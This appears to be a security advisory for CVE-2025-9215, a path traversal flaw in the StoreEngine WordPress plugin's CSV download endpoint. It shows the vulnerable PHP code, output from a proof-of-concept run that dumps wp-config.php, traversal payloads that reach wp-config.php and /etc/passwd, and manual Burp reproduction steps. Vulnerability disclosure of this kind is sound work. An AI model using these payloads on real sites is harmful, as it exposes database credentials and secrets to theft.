CVE-2025-9215

The StoreEngine plugin contains a vulnerability in its CSV Import/Export feature that allows any authenticated user (subscriber, author, editor, etc.) to download arbitrary files from the server, including sensitive system files, WordPress configuration files, and plugin source code. The vulnerability stems from the storeengine_csv/file_download endpoint lacking proper path sanitization and only relying on nonce verification for security, while the storeengine_nonce is exposed to ALL frontend users through the plugin’s JavaScript. Note: This vulnerability requires the CSV Import/Export addon to be enabled by an administrator. Once enabled, this combination allows any authenticated user to extract the nonce from frontend pages and use it to download any file on the server via path traversal attacks, effectively granting subscriber+ users access to sensitive system and application files.

TL;DR Exploits

  • A POC CVE-2025-9215.py is provided to demonstrate a subscriber user downloading the WordPress configuration file via path traversal.
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Details

Vulnerable File Download Function

Note: This vulnerability requires the CSV Import/Export addon to be enabled by an administrator. The addon activation endpoint (storeengine/saved_addon_status) requires manage_options capability, meaning only administrators can enable this functionality.

The storeengine_csv/file_download AJAX action calls the file_download() function on line 47 of /wp-content/plugins/storeengine/addons/csv/ajax/export.php, which lacks proper path sanitization and allows arbitrary file downloads:

public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNERABLE TO PATH TRAVERSAL!
    
    // NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
    // NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- READS AND OUTPUTS ANY FILE!
    exit;
}

Path Construction Vulnerability

The vulnerable path construction allows complete path traversal:

// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

Nonce Exposure Vulnerability

The storeengine_nonce is exposed to ALL frontend users through the plugin’s JavaScript. This occurs in the _get_script_data() method on line 279 of /wp-content/plugins/storeengine/includes/assets.php:

public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

This nonce is then localized to frontend JavaScript via the frontend_scripts() method on line 120:

wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Nonce Verification

The nonce is verified in the AbstractRequestHandler::check_permission() method on line 510 of /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:

protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

This combination allows any authenticated user to bypass CSRF protection and download any file on the server, including sensitive configuration files, source code, and potentially system files.

Manual Reproduction

  1. Login to the admin panel and navigate to the StoreEngine plugin.
  2. Go to the CSV Export section (if available in the admin interface).
  3. Start up Burp Suite or a similar tool and begin intercepting the traffic.
  4. Intercept a request to /wp-admin/admin-ajax.php calling the storeengine_csv/file_download action.
  5. Modify the request to include the extracted nonce and a path traversal payload.
  6. Send the request with filename=../../../../wp-config.php to download the WordPress configuration file.
  7. Access sensitive configuration files including database credentials, API keys, and security salts.